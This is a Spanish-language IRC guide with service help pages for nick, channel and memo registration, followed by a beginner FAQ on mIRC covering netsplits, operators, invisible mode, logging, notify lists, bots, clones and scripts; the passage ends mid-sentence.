Ejemplos: LIST *[email protected] Lista los nicks registrados por [email protected]. LIST *Bot*!*@* Lista todos los nicks registrados que contenga Bot en su nombre (no importa mayúsculas). LIST *!*@*.bar.org Lista todos los nicks registrados por usuarios del dominio bar.org. . Sintaxis: STATUS nick... Informa si el usuario de un nick es reconocido como el dueño de el mismo. La respuesta tiene el siguiente formato: nick código-de-status donde nick es el nick enviado con el comando, código-de-status es uno de los siguientes: 0 - usuario no esta conectado o nick no esta registrado 1 - usuario no reconocido como dueño del nick 2 - usuario reconocido por la lista de acceso solamente 3 - usuario reconocido por identificación con contraseña Hasta 16 nicks pueden ser enviados con cada comando; el resto serán ignorados. No se genera mensaje de error si no se envía nick. Bot de Canales: CHAN CHaN habilita a registrar y controlar varios aspectos de los canales. CHaN puede prevenir que usuarios malintencionados puedan "tomar" el control limitando a quién se permite privilegios de operador del canal. Los comandos disponibles son los siguientes. Para utilizarlos, escriba /msg CHaN comando. Para obtener mas información de un comando específico, escriba /msg CHaN HELP comando. REGISTER IDENTIFY SET ACCESS LEVELS AKICK DROP

Registra un canal Para identificarse como fundador del canal Fija opciones e información del canal Modifica la lista de usuarios privilegiados Redefine los niveles de accesos Mantiene la lista de Auto-Kick Cancela la registración de un canal

Otros comandos: INFO, LIST, INVITE, OP, DEOP, UNBAN, CLEAR Note que si un canal no es utilizado por 14 días (es decir qué ningún usuario en la lista de acceso del canal entra en ese periodo de tiempo) será automáticamente cancelado.

Sintaxis: REGISTER canal contraseña descripción Registra un nuevo canal en la base de datos de CHaN. Para poder utilizar este comando, usted primero debe ser operador del canal que está tratando de registrar (1). La contraseña deberá ser utilizado con el comando IDENTIFY cuando necesite hacer modificaciones posteriores a opciones del canal. El último parámetro, que debe ser incluido, es una descripción de los propósitos del canal. Cuando usted registra un canal, usted queda registrado como el "fundador" del canal. El fundador de un canal puede modificar cualquiera de las opciones de un canal (excepto el nombre mismo del canal); CHaN le dará automáticamente privilegio de operador al fundador del canal cuando el/ella ingresen al canal. Vea el comando ACCESS (/msg CHaN HELP ACCESS) para obtener información de como dar privilegio de operadores a otros usuarios del canal. (1) AVISO: para poder registrar un canal, su nick debe estar registrado. Si aún no lo registró, escriba /msg NiCK HELP para obtener información de cómo hacerlo.

Sintaxis: IDENTIFY canal contraseña Este comando, lo identifica a usted ante CHaN como el fundador del canal. Muchos comandos requieren que usted utilice ESTE comando antes de poder utilizarlos. La contraseña debe ser el mismo que se ingresó al momento de registrar el canal (comando REGISTER).

Sintaxis: SET canal opción parámetros Habilita al fundador del canal a definir varias opciones y otra información. El fundador, debe identificarse vía comando IDENTIFY antes de utilizar SET. Opciones disponibles: FOUNDER PASSWORD DESC URL EMAIL ENTRYMSG TOPIC KEEPTOPIC TOPICLOCK MLOCK PRIVATE RESTRICTED SECURE SECUREOPS

Cambia el fundador del canal Cambia la contraseña del fundador Cambia la descripción del canal Asocia una URL al canal Asocia una dirección de correo al canal Fija un mensaje que será mostrado a los usuarios cuando entren al canal Cambia el Tema del canal Retiene el tema (topic) cuando el canal no está en uso El Tema SOLO podrá ser cambiado vía SET TOPIC Fija los modos del canal en 'ON' u 'OFF' Oculta el canal (no se ve cuando se utiliza el comando LIST) Restringe el acceso al canal Activa los rasgos de seguridad de ChaN Control estricto de Status de operador

Escriba /msg CHaN HELP opción para obtener mas información de una opción en particular.

Sintaxis: SET canal FOUNDER nick Cambia el fundador del canal. El nick dado, que será el nuevo fundador del canal, debe estar registrado.

Sintaxis: SET canal PASSWORD contraseña Se utiliza para definir la contraseña que será utilizado para identificarse como el fundador del canal.

Sintaxis: SET canal DESC descripción Fija la descripción del canal, la cual será mostrada cuando se utilicen los comandos LIST e INFO. Sea breve y concreto.

Sintaxis: SET canal URL [url] Asocia una URL al canal, la cual será visualizada cuando se solicite información del canal (vía comando INFO). Habitualmente se utiliza para indicar la dirección de la página web del canal. Si no se ingresa ninguna url, se borrará la que tenga actualmente el canal.

Sintaxis: SET canal EMAIL [dirección] Asocia la dirección de correo dada al canal. Esta dirección será mostrada cuando alguien solicite (vía comando INFO) información del canal. Es muy útil, por ejemplo, para que los usuarios tengan una vía de comunicación con el fundador y/u operadores del canal. Si no se proporciona una dirección de correo, se eliminará la que actualmente pueda tener el canal.

Sintaxis: SET canal ENTRYMSG [mensaje] Establece el mensaje que será enviado a los usuarios (vía /notice) cuando ellos ingresen al canal. Si mensaje no se ingresa, nada será enviado a los usuarios cuando ingresen.

Sintaxis: SET canal TOPIC texto Causa que CHaN fije el tema del canal al indicado en texto. Esta orden es muy útil en conjunción con SET TOPICLOCK.

Sintaxis: SET canal KEEPTOPIC {ON | OFF} Habilita o deshabilita la opción de retención del tema para el canal. Cuando retención del tema está en ON (habilitada), el tema del canal será recordado por CHaN aún después que el último usuario se haya retirado, y se restaurará la próxima vez que alguien ingrese al canal.

Sintaxis: SET canal TOPICLOCK {ON | OFF} Habilita o deshabilita la opción para trabar el tópico del canal. Cuando trabar el tópico está en ON, CHaN no habilitará el cambio del tema (tópico) excepto vía SET TOPIC.

Sintaxis: SET canal MLOCK modos Fija los distintos modos para el canal. CHaN lo habilita a usted para definir determinados modos del canal y que queden siempre habilitados (o no). Los modos que pueden ser fijados son: i, k, l, m, n, p, s, y t; cada uno de estos modos puede estar activado (ON), desactivado (OFF) o no fijado. Los distintos modos se indican exactamente como si se utilizase el comando /MODE; esto es, modo seguido de + indica activado (ON), modo seguido de - indica desactivado (OFF). Cuidado!: Si usted fija un modo protegido por contraseña, como en el segundo ejemplo, también deberá fijar la opción RESTRICTED para el canal (vea HELP SET RESTRICTED), o cualquiera que ingrese al canal cuando el mismo esté vacío, verá la contraseña!! Ejemplos: SET #canal MLOCK +nt-iklps Activa los modos n y t, y desactiva los modos i, k, l, p, y s. El modo m puede ser activado o desactivado. SET #canal MLOCK +knst-ilmp my-key Activa los modos k, n, s, y t. Desactiva los modos i, l, m, y p. También establece "my-key" como la contraseña del canal. SET #canal MLOCK + Elimina los modos activos; todos los modos del canal pueden ser libremente activados o desactivados. >>>>>> No ayuda disponible para set private. <<<<<<

Sintaxis: SET canal RESTRICTED {ON | OFF}

Habilita o deshabilita la opción de acceso restringido para el canal. Cuando el acceso restringido está activo (ON), usuarios que normalmente no tienen privilegio de operadores cuando entran al canal (usuarios con nivel de acceso negativo y, si secure ops está activada, usuarios que NO están en la lista de acceso) serán expulsados (y se les prohibirá el acceso) al canal.

Sintaxis: SET canal SECURE {ON | OFF} Habilita o deshabilita la seguridad de CHaN para el canal. Cuando SECURE está ACTIVO, SOLO los usuarios que tienen registrado sus nicks con NiCK y se han IDENTIFICADO con sus respectivas contraseñas tendrán acceso al canal si es que figuran en la lista de ACCESS.

Sintaxis: SET canal SECUREOPS {ON | OFF} Habilita o deshabilita la opción de operadores seguros para el canal. Cuando operadores seguros está activada (ON), usuarios que NO estén en la lista de usuarios del canal NO podrán obtener status de operadores

Sintaxis: ACCESS canal ADD nick nivel ACCESS canal DEL {nick | posición-numero} ACCESS canal LIST [mask] Mantiene la lista de accesos del canal. La lista de accesos establece que usuarios están habilitados a ser operadores del canal o acceder a comandos de CHaN en el canal. Se pueden establecer diferentes niveles de usuarios para acceder a diferentes privilegios; utilice /msg CHaN HELP ACCESS LEVELS para obtener información mas específica. Cualquier nick que no esté en la lista de acceso tiene nivel de usuario 0 (cero). El comando ACCESS ADD agrega al nick con el nivel dado a la lista de acceso; si el usuario ya existe en la lista, se reemplazará su nivel. El nivel especificado debe ser menor que el que tiene el usuario que está ingresando el comando, y si el nick está actualmente en la lista, el nivel actual de dicho nick debe ser menor que el nivel del usuario que está ingresando el comando. El comando ACCESS DEL elimina un usuario de la lista de accesos. Se puede eliminar un usuario ingresando el nick o ingresando el número que ocupa en la lista de accesos. El comando ACCESS LIST muestra la lista de accesos al canal; se pueden utilizar caracteres comodines o mascaras, en cuyo caso solo las coincidencias concurrentes serán listadas. Niveles de acceso para usuarios Por defecto, los siguientes niveles son definidos:

Founder

Acceso FULL a las funciones de CHaN. Note que únicamente una sola persona puede tener acceso de fundador del canal (no se puede dar acceso de founder con el comando ACCESS).

10 5 3 0 menos que 0

Acceso al comando AKICK; operador automático al ingresar. Operador automático al ingresar. Estado de VOZ automático (+v). No tiene privilegios especiales; puede obtener status de operador dado por otro operador (a menos que secure-ops esté activado). No puede ser operador.

Estos niveles pueden ser cambiados, o nuevos pueden ser agregados utilizando el comando LEVELS; escriba /msg CHaN HELP LEVELS para información.

Sintaxis: LEVELS canal LEVELS canal LEVELS canal LEVELS canal

SET tipo nivel {DIS | DISABLE} tipo LIST RESET

El comando LEVELS permite un control fino sobre los accesos numéricos utilizados por los canales. Con este comando, usted puede definir los niveles requeridos para muchas de las funciones de CHaN. Los comandos SET FOUNDER, SET PASSWORD, así como éste comando están siempre restringidos al fundador. LEVELS SET habilita el acceso para una función o grupo de funciones a ser modificadas. LEVELS DISABLE (o DIS en forma abreviada) deshabilita un privilegio automático, o deshabilita el acceso para cualquier otro que no sea el fundador del canal. LEVELS LIST muestra los niveles actuales para cada función o grupo de funciones. LEVELS RESET vuelve todos los niveles a sus valores por defecto, los mismos que cuando se registra por primera vez un canal (vea HELP ACCESS LEVELS). Para una lista de las funciones que pueden ser establecidas, utilice el comando HELP LEVELS DESC. La siguiente lista muestra los valores/funciones por defecto. Note que los niveles para AUTODEOP y NOJOIN son los máximos niveles, mientras que todos los demás, son los mínimos. AUTOOP AUTOVOICE AUTODEOP NOJOIN INVITE AKICK SET CLEAR UNBAN

Status de operador de canal automático Modo +v automático No puede ser operador de canal No puede entrar a canal si esta en modo restringido (RESTRICTED) Permitido a usar comando INVITE Permitido a usar comando AKICK Permitido a usar comando SET (no siendo FUNDADOR) Permitido a usar comando CLEAR Permitido a usar comando UNBAN

OPDEOP ACC-LIST ACC-CHANGE MEMO

Permitido a usar comandos OP/DEOP Permitido a ver lista de acceso Permitido a modificar lista de acceso Permitido a ver mensajes del canal

Sintaxis: AKICK canal ADD mask [razón] AKICK canal DEL mask AKICK canal LIST [mask] Definimos AKICK como "Expulsión automática". Definimos BAN como "Entrada prohibida". Este comando, mantiene la lista de AKICK del canal. Si un usuario está en la lista de AKICK e intenta entrar al canal, CHaN automáticamente agrega dicho usuario a la lista BAN del canal, y luego lo expulsa del canal. El comando AKICK ADD agrega un usuario a la lista de AKICK. Si una razón es dada con el comando, entonces la razón será utilizada por CHaN cuando expulse a dicho usuario; si no, el mensaje que se utilizará por defecto, es "You have been banned from the channel". El comando AKICK DEL elimina al usuario de la lista de AKICK. Este comando no remueve el BAN que pueda existir en el canal, el cual deberá ser removido manualmente. El comando AKICK LIST muestra la lista de usuarios en la lista de AKICK. Opcionalmente, solo lista aquellos suministrados con la mascara dada.

Sintaxis: DROP canal Elimina el canal de la base de CHaN. Puede ser utilizado únicamente por el fundador del canal, quien deberá primeramente identificarse con el comando IDENTIFY.

Sintaxis: INFO canal Provee información acerca del canal (o informa que no está registrado). Lista el fundador, hora y fecha de registración, última vez que se utilizó, descripción, y modos del canal (si los hubiese).

Sintaxis: LIST especificación Lista todos los canales que coincidan con la especificación dada. Canales con la opción PRIVATE activada, no son listados.

Sintaxis: INVITE canal Le dice a CHaN que lo invite a usted al canal indicado. Por defecto, solo funciona si su nivel de acceso en dicho canal es mayor que 0 (cero).

Sintaxis: OP #canal nick Convierte en Operador al usuario indicado en el canal indicado. Por defecto, está limitado a quienes posean nivel 5 o mayor en el canal.

Sintaxis: DEOP #canal nick Quita el estado de Operador al usuario indicado en el canal indicado. Por defecto, está limitado a quienes posean nivel 5 o mayor en el canal.

Sintaxis: UNBAN canal Le dice a CHaN que elimine todos los accesos prohibidos previniendo su ingreso a dicho canal. Por defecto, solo funciona si su nivel de acceso en dicho canal es mayor que 0 (cero).

Sintaxis: CLEAR canal que Le dice a CHaN que elimine ciertos parámetros del canal. que puede ser uno de los siguientes: modes bans ops voices users

Resetea todos los modos del canal (ejemplo, limpia los modos i,k,l,m,n,p,s,t). Elimina todos los accesos prohibidos al canal. Elimina (quita) el privilegio de operador a todos los operadores (modo +o) del canal. Elimina (quita) el privilegio de "voz" (modo +v) a cualquiera del canal que lo tuviese. Elimina (Patea -kicks-) TODOS los usuarios del canal.

Por defecto, su nivel de acceso en el canal debe ser al menos 10 (diez) para utilizar este comando. Bot de mensajes: MEMO MeMO es una utilidad que permite a usuarios de IRC enviar mensajes cortos a otros usuarios de IRC, independientemente de si están en línea o no, igualmente se puede enviar mensajes a canales(*). Ambos nicks (remitente y destinatario) deben de estar registrados, así mismo el canal debe de estar registrado si se desea enviar un mensaje a este. Comandos de MeMO incluyen: SEND Envía un mensaje a un nick/canal

LIST Lista todos tus mensajes READ Lee un mensaje DEL Borra un mensaje (o todos) SET Define opciones relacionadas con mensajes Escriba /msg MeMO HELP comando para ayuda mas especifica de los comandos arriba mencionados. (*) Por default, cualquier usuario con al menos nivel 10 de acceso en un canal puede leer los mensajes de ese canal. Esto puede ser cambiado con el comando CHaN LEVELS.

Sintaxis: SEND nick memo-texto Envía un memo al usuario especificado. Dicho usuario recibirá una noticia de que tiene un nuevo memo. Lo recibirá inmediatamente si se encuentra en línea, o si no al momento de identificarse la próxima vez que se conecte. Ejemplo: /msg MeMO SEND joselito Muy bueno tu trabajo de traducción! ;)

Sintaxis: LIST [NEW] Lista los memos que usted tenga actualmente. Si se indica el parámetro NEW, solo los nuevos memos (los no leídos) serán mostrados. Los memos no leídos están marcados con un "*" a la izquierda del numero de memo.

Sintaxis: READ {numero | LAST} Muestra el contenido del memo indicado en numero, o el ultimo memo (por ejemplo, el recibido mas recientemente) si el parámetro LAST es dado EN VEZ DE numero.

Sintaxis: DEL {num[-num][,num...] | ALL} Si un numero num es dado, elimina dicho memo. Usted puede reemplazar un único numero por un rango de números para eliminar múltiples memos simultáneamente, tal como se verá en el segundo ejemplo. Si se ingresa ALL se eliminaran TODOS los memos. Ejemplos: DEL 1 Elimina su primer memo.

DEL 2-5,7-9 Elimina los memos 2 a 5 y 7 a 9.

Sintaxis: SET opción parámetros Establece varias opciones para los memos. Las opciones pueden ser: NOTIFY Establece CUANDO debe ser notificado de nuevos memos. LIMIT Establece el MAXIMO numero de memos que usted puede recibir Escriba /msg MeMO HELP SET opción para obtener mas información acerca de la opción específica.

Sintaxis: SET NOTIFY {ON | LOGON | NEW | OFF} Establece CUANDO debe ser notificado de nuevos memos: Será notificado cuando se conecte, cuando quite su modo /AWAY y cuando un memo le sea enviado estando usted conectado. LOGON Será notificado únicamente cuando se conecte, y cuando quite su modo /AWAY. NEW Será notificado solamente cuando le sean enviados. OFF Usted no recibirá ningún tipo de notificación de memos. ON

ON es básicamente la combinación de LOGON y NEW simultáneamente.

Sintaxis: SET LIMIT [canal] limite

Establece el máximo numero de memos que usted está habilitado a tener. Si establece limite a 0 (cero) nadie podrá enviarle memos a usted.

1 ¿Como funciona la IRC? El servidor de IRC propiamente dicho no es más que un programa corriendo en background (un daemon) en una máquina determinada (en Unix correría el "ircd"). Los usuarios se conectan a dicha máquina y acceden al servidor en forma de clientes. Una red IRC se compone de varios servidores corriendo en paralelo y enlazados entre ellos, de forma que se mantegan comunicados (puedan intercambiar mensajes entre ellos). Cuando un usuario se conecta a un servidor determinado, éste (el servidor) lo notifica a los demás servidores que forman parte de la red IRC. Igualmente, cualquier otra acción es notificada a todos los servido- res, de forma que éstos actuan como una unidad. De esta forma el usuario se deja ver en todos los servidores aunque físicamente sólo esté conectado a uno. Esto permite tener muchos usuarios repartidos por diferentes servidores pero que virtualmente es como si estuvieran todos en uno sólo. La estructura de la red IRC es en forma de árbol (es decir, no puede haber bucles, o "caminos cerrados": partiendo de un nodo no se llegue por ningún camino otra vez a dicho nodo) aunque un tanto especial: cada nodo se ve a sí mismo como el nodo raiz de la red y tiene un grafo en forma de árbol que le indica el camino a seguir para alcanzar cada uno de los restantes nodos. En la "literatura" esto se conoce como "spanning tree", que podríamos traducir como "árbol de expansión". Esto quiere decir que en un momento determinado un nodo cualquiera tendrá almacenada información para alcanzar cada uno de los otros nodos de forma unívoca (tiene un único camino posible hacia cada nodo). Esa información sería el árbol que está usando el nodo en cuestión. Pero además este árbol puede ser distinto para el mismo nodo en un instante diferente, es decir, puede cambiar (digamos que el nodo va reconfigurándose). Esto tiene la ventaja de que permite adaptarse a posibles variaciones (eventuales) de la topología de la red (así, si un nodo cae, los restantes nodos lo detectarán y se reconfigurarán de forma que los caminos que antes pasaban por dicho nodo dejen de hacerlo: se tomarían caminos alternativos con lo cual la red seguiría funcionando correctamente a pesar de la caida del nodo). El paso de un nodo a otro adyacente se conoce como "hop" (salto). Así para alcanzar el nodo 5 partiendo de 4 tendremos que dar 2 saltos (hops): uno de 4 a 2 y otro de 2 a 5. Podemos visualizar el árbol que está usando el server al que estamos conectados usando el comando "/links". Este sacará un listado por pantalla de los servidores alcanzables desde el nuestro, de forma jerarquizada, es decir, respetando la estructura del árbol. Normalmente se indica entre paréntesis al lado de cada servidor el número de hops que habría que dar para alcanzar cada uno de los nodos partiendo del nuestro. Cuando se rompe uno de los eslabones (links) que unen 2 servidores el conjunto se divide en 2 subconjuntos, los cuales intentarán seguir funcionando normalmente aunque de forma aislada. Esto es, cada subconjunto permanece operativo y mantiene la comunicación entre los servers pertenecientes a dicho subconjunto. Pero por razones obvias los servidores de un subconjunto no ven a los del otro y viceversa. Esta situación se conoce como net-split. En una sesión normal de IRC esto lo veríamos: [1:23] *** LAROSA has quit IRC (fuego.irc-hispano.org io.irc-hispano.org) Esto indica que se han spliteado los dos servidores indicados entre paréntesis y que a consecuencia de ello el usuario Case_Zer0 [ hi Case ;-) ] ha salido "de nuestra red IRC" (lo que está ocurriendo es que se encuentra en el otro subconjunto de servidores: a todos los efectos es que como si se encontrase ya en otra red IRC). Cuando el enlace caido se recupera (i.e. se reestablece la comunicación entre los servers spliteados) se habla de net-merge. Esto se vería en la sesión anterior como un "join" por parte del usuario que estaba en el servidor spliteado (tanto el quit como el join anteriores son mecanismos del propio IRC, es decir, el usuario anterior no dio ninguna orden de quit ni de join, es transparente a dicho usuario). Hay programas que detectan y avisan cuando se produce algún net-split o net-merge: son los denominados "link-lookers", y su utilidad es bastante obvia. Por ejemplo, si el enlace dibujado en rojo (enlace server 2 <-> server 5) cayera, el servidor 5 estaría aislado de la red. Los usuarios de dicho servidor dejarían de ver a todos los demás pertenecientes a servidores distintos, y al contrario. Se dice que el servidor 5 está spliteado. Es fácil reconocer a un servidor en esta situación: si entras en una red a través de un determi-nado servidor y te encuentras a muy poca gente es muy normal que se deba a que está spliteado de la red. Otra posibilidad es que el enlace azul (3 <-> 12) cayera. En este caso el servidor 12 se splitea de la red, pero también lo hacen los servidores 13 y 14 indirectamente, por conectarse a través del primero. Para una información completa del funcionamiento y estructura de una red IRC, y del protocolo subyacente ("Internet Relay Chat Protocol") os remito al RFC1459. ¿ Que es un OP ? Los canales tienen moderadores denominados operadores o "OP", los cuales controlan el canal, decidiendo quien puede tener acceso (expulsando permanentemente ("banning") algunos usuarios, quien debe salir del canal , expulsando ("kicking") algunos usuarios, y hasta quien tiene derecho a hablar! Los operadores de un canal tienen el control completo del canal, y sus decisiones son definitivas. Si usted es expulsado permanentemente, mándele un mensaje a un operador pidiéndole de buena manera que le permita volver a entrar en el canal. Pueden haber varios OP's en un canal. En la lista de gente que esta en un canal, se distinguen los OP, porque su nick lleva delante el signo @. Solo hay una forma de llegar a ser OP del canal en el que se encuentre, y es que uno de los OP del canal le haga OP a usted. ¿? Y quien les ha hecho OP's a ellos ? Cuando se crea un canal nuevo, se entra como OP del mismo. Así que seguramente uno de los Op's del canal fue el que creo el canal.

2 ¿ Que es un IRCOP ? Los servidores IRC son cuidados por operadores de IRC, o "IRC ops." Los operadores IRC administran los servidores y no se envuelven en asuntos personales en los canales. No son "policías del IRC." o no deberían serlo. Estos usuarios son op en todos los canales donde entren. ¿ Qué es el "modo invisible" ? Existe una forma especial de estar en el IRC, llamada "modo invisible". Bueno no se hagan ilusiones, si esta pensando que esto le permitira estar dentro de un canal, incluso participando en el, sin que los demas lo vean, algo asi como una especie de fantasma, PUES NO, ESO NO SE PUEDE HACER (¡ y menos mal !). El "modo invisible" consiste en que si usted esta en modo invisible y alguien consulta desde fuera del canal el listado de personas que hay en el (usando el comando /names #canal o /who #canal) no le vera. Sin embargo, si entra en el canal, si que le vera. Tambien si alguien intenta un /whois nick, le vera aunque este en modo invisible. Tambien si alguien le tiene en su "notify" (una lista de gente, cuya presencia en IRC, queremos que nos sea notificada por el mIRC) tambien se enterara. ¿ De que sirve entonces estar en "modo invisible" ? Pues la verdad, ciertamente de poco, solo añade un poco de discrecion por su parte, poniendo las cosas un poquitito mas dificiles a quien le ande buscando. Para ponerse en modo invisible use el comando... /mode nick +i Ejemplos: Si su nick es Byte y quiere estar en modo invisible debera hacer esto... /mode Byte +i ¿ Como puedo grabar las conversaciones ? El miRC puede registrar en un fichero toda la actividad que se produce en un canal. Esto le permitirá mas tarde, si en estar en línea, ver tranquilamente lo que se dijo o paso, incluso conseguir aquella dirección de correo o URL que alguien comento y que usted no recordaba. Existen dos formas básicas de proceder... Puede activar la opción de registrar todos los canales y privados SIEMPRE (y desactivar si desea algún canal) o mantener desactivada la opción de registro automático, y manualmente activar la opción de registro de un canal, cuando lo desee. Método 1: (Activar la opción de registro automático de todo, siempre) (LO MEJOR) En la ventana de opciones del mIRC, elija la pestaña "Logging" y vera algo parecido.. Método 2: (activar/desactivar la opción de registro manualmente) Estando en un canal o privado use el comando /log on para activar el registro y el comando /log off para desactivarlo el registro de ese canal. Tenga en cuenta que si tiene el registro automático activado (según el método 1) solo tiene sentido la opción de desactivar el registro para un canal especifico. Es decir, no existe un comando para activar el registro automático de todos los canales. ¿ Que significa "caerse" del IRC ? Quiere decir que te desconectas de forma involuntaria del servidor IRC que uso para entrar, es decir ya no esta en el IRC, y tiene que volver a entrar. Las razones de ello pueden ser muy diversas. Por ejemplo, si usted entra en el IRC y no hace nada durante un cierto periodo de tiempo, por ejemplo, entra en un canal y se queda leyendo los mensajes de los demas, pero no participa, el servidor le desconectara (por "iddle"). Otras veces puede ser un simple fallo del servidor, que hara que su conexion al IRC se interrumpa. ¿ Como puedo enterarme de que alguien que conozco ha entrado en el IRC ? La "Notify List" es una lista donde puede poner los nicks de la gente que conozca. De esta forma el mIRC le avisara de su presencia en el momento que entren en el IRC. Tambien cuando usted entre el mIRC le avisara si alguno de los nicks de su lista esta en el IRC. Para añadir un nick a la Notify List debe hacer lo siguiente. Metodo 1 Saldra la ventana de opciones del mIRC, en ella elija la pestaña "Notify List" Ejemplo Si usted ha añadido el nick jaav a su "Notify List" , cuando alguien con este nick entre en el IRC, en la ventana del canal en que se encuentre usted en ese momento, el mIRC le mostrara un aviso parecido al este... *** jaav is on IRC Tenga en cuenta, que para que los avisos se realicen en la ventana activa (esto es lo mas comodo) debera activar la opción "Show notifies in active window" Metodo 2 Una forma bastante mas rapida de añadir un nick a su "Notify List" es usar el comando /notify nick [nota aclaratoria] Ejemplo Si desea añadir el nick jaav a su "Notify List" use el siguiente comando... /notify jaav Jose Andres Alegre Comandos relacionados... La Notify List tambien puede ser manejada mediante comandos, desde cualquier ventana de canal o query, sin necesidad de acudir a las opciones. El comando /notify Usted también puede agregar/quitar nicks de la lista de notificación usando el comando /notify. /notify [-shr] on|off|nick [nota]

3 Usted puede activar o desactivar las notificaciones escribiendo /notify on o bien /notify off respectivamente. Las opciones -sh pueden ser usadas para mostrar u ocultar la ventana con la lista de notificaciones respectivamente. La nota es optativa y le permite especificar una pequeña anotacion sobre cada usuario. Si usted antepone el simbolo + frente a un nick, mIRC hara un /whois en ese nick como parte de la notificación.Sin embargo, si usted hace esto en muchos nicks, entonces el servidor IRC podría desconectarle por saturación, por tanto, lo mejor es usar esto solamente cuando se necesita de verdad. Usted puede obligar manualmente al mIRC a actualizar su lista usando el comando /notify sin parámetros. Ejemplos: Para añadir el nick Byte a su notify para que el mIRC le avise de su presencia en el IRC, use el siguiente comando... /notify Byte El autor de La Guía mIRC Lo mismo pero de forma que el mIRC haga un /whois cada vez que le avise de la presencia... /notify +Byte El autor de La Guía mIRC NOTA:Algunas redes de IRC podrían permitirle usar una dirección completa en vez de un nick.La única forma de saber esto es probándolo. ¿Como puedo hablar en privado con alguien ? Cuando usted escribe en un canal, todos las personas que estan en el pueden leer sus mensajes, pero si quiere hablar con alguien de forma que privada, debera hacer lo siguiente... Metodo 1 Haga un doble-click sobre el nick con el quiere hablar en privado. mIRC abrira una ventana (ventana de privado), y todo lo que escriban en ella solo lo vera esa persona y usted. Metodo 2 Ejecute el comando /query nick, para crear la ventana de privado. En esa ventana podran dialogar usted y su interlocutor a solas. Ejemplo Para comennzar un privado con una persona cuyo nick es SAM, ejecute el siguiente comando... /query SAM Metodo 3 Existe un tercer metodo de establecer una coversacion privada con alguna persona presente en el IRC, un poco especial... se trata del DCC CHAT, cuyo significado vendria a ser algo como "Charla directa Cliente-Cliente". ¿ Como ? ¿ Que es un bot ? El termino bot viene de RoBOT. La mejor forma de comprender lo que es un bot, es la siguiente... Imaginese que usted conecta con el IRC, y se mantiene conectado permanentemente, ademas usted, no interviene para nada, aunque podria hacerlo, sino que es su mIRC el que automaticamnete responde a las acciones de los demas, aunque evidentemente no mantiene ningun tipo de conversacion inteligente, pero si que puede hacer OP a otros, saludar a los que entran en un canal, y realizar otro tipo de acciones. Bueno, pues eso es un bot. Es decir una especie de robot, o mIRC automatizado (mediante un script), que esta siempre conectado al iRC. Los bots se suelen emplear para mantener siempre abiertos los canales registrados (El canal nunca se cierra porque el canal nunca se vacia, ya que el bot siempre se queda). Son usados generalmente por los administradores del IRC (Ircops) para sus tareas de gestion del IRC. Pueden hacer OP automaticamente a las personas que entran en un canal y que reconocen como OP's registrados del canal. Y otras muchas cosas. De broma, se suele llamar bot a aquella persona que pasa tanto tiempo en el IRC, que parece que este siempre en el. ¿ Que es un clon ? El termino clon viene de la palabra clonico (identico). Y consiste en una persona ha entrado en el irc con dos o mas nicks diferentes. De esta forma usted podria estar en un canal y observar que ademas de usted hay dos personas mas en el canal, una con el nick Byte y otra con el nick SAM, pero Byte y SAM son la misma persona!! En ese caso SAM es un clon de Byte (o viceversa). Mucha gente en sus primeros pasos en el IRC, puede caer en "trampas" de este tipo, en las que se le hace pensar que esta hablando con dos personas distintas, cuando realmente lo esta haciendo con una sola. Muchas veces el termino clon y bot se confunden porque el clon (la copia de uno mismo) actua como un robot (bot) a las ordenes del "original" o "principal". En ese caso tendriamos un clon que es un bot. ¿ Como determinar si en el canal existe algun clon ? Sin la ayuda de un script, es muy laborioso, aunque no es dificil. Si existe una persona en el canal donde nos encontramos, que esta usando dos nicks (es decir tiene un clon) toda la informacion que relativa a cada uno de los nick sera seguramente diferente, asi que mediante un /whois no podremos descubrilo. Pero existe algo que es igual para los dos nicks, pues ambos coresponden a una misma conexion a Internet y es la IP. Asi que si pedimos la IP de cada uno de los nicks sospechosos y coinciden, es seguro que son un clon. Para determinar la IP de un nick debera usar el comando /dns nick ¿ Como hacer un clon ? Para hacer un clon, es decir para poder estar en el IRC con dos nicks diferentes a la vez, debera seguir uno de estos dos procedimientos... Metodo 1: Si utiliza Win95 y un miRC de 32 bits

4 1º Entre en el IRC de la forma normal 2º Luego arranque otra copia del mIRC y conecte con otro servidor distinto (Es decir se trata de usar dos copias del programa mIRC a la vez y conectar con cada una de ellas Los clones normalmente se usan en la guerra, es decir para molestar a alguien o a a lgun canal, o para confundir a algun novato. Aunque tambien hay quien los usa para hacer pruebas. ¿ Que es un script ? El mIRC tiene algunas secciones programables. Se le pueden añadir menus y crear acciones complejas y dejarlas grabadas al estlio de macros o pequeñas rutinas. Un script es pues esto, un conjunto de comandos que se añaden al mIRC y que usted puede ejecutar cuando desee, consiguiendo hacer algunas cosas que de otra forma serian mucho mas lentas de realizar o mucho mas dificiles. Existen muchos tipos de scripts, los hay especializados en mostrar bonitos dibujos o textos. Aunque la mayoria son de guerra. Un script de guerra (ataque-defensa) tiene comandos que le permitiran tirar a otra persona del IRC (es decir desconectarlo) o evitar que le tiren a usted. Ademas incluira otras opciones para simplificar o hacer mas rapido el uso del mIRC. Un consejo, antes de instalar un script, dedique un tiempo a aprender los comandos del mIRC "a pelo". Los scripts tienen un efecto parecido a las calculadoras, nos vuelven vagos y provocan que se nos olviden algunas tecnicas que realmente son basicas e imprescindibles. Piense que tal vez algun dia no tenga su script a mano y si no sabe realmente usar el mIRC "tal cual" estara realmente perdido. Hay miles de scripts, aunque la verdad es que muchos son simplemente copias de otros. Los creadores de scripts no tienen forma de proteger sus creaciones. Incluso usted puede instalar un script y estudiarlo y modificarlo a su gusto. Pero cambiarlo, poner su nombre en los creditos y ofrecerlo por ahi como suyo no esta bien. Otra cosa...tenga precaucion con los scripts. Como programas que son, pueden incluir algun "troyano", es decir, una parte de su codigo puede hacer cosas malvadas, como por ejemplo hacer que alguin mas tenga acceso a su cuenta, leer su correo, borrar sus archivos, etc. Esto no es lo normal. Normalmente la gente que crea scripts es por lo general bien intencionada, pero tenga precaucion con el script que escoje e informese antes sobre el. ¿ Como puedo copiar algun mensaje aparecido en el canal ? En muchas partes del miRC para copiar algo al portapapeles (para luego pegarlo en otro sitio) tendra que utilizar el metodo tradicional, es decir marcarlo con el raton, y luego pulsar CTRL+C. Pero en la ventana de un canal o de un privado, si usted desea copiar algo que alguien ha escrito, SOLO TENDRA QUE MARCARLO CON EL RATON, cuando suelte el texto YA ESTARA EN EL PORTAPAPELES. Para pegarlo en otro sitio, use la combinacion de teclas CTRL+V. Por ejemplo, puede copiar algun texto aparecido en el canal, para repetirlo. En ese caso marquelo, coloquese en el la caja de texto dle canal y pulse CTRL+V. Puede copiar algo aparecido en su ventana de status, y luego 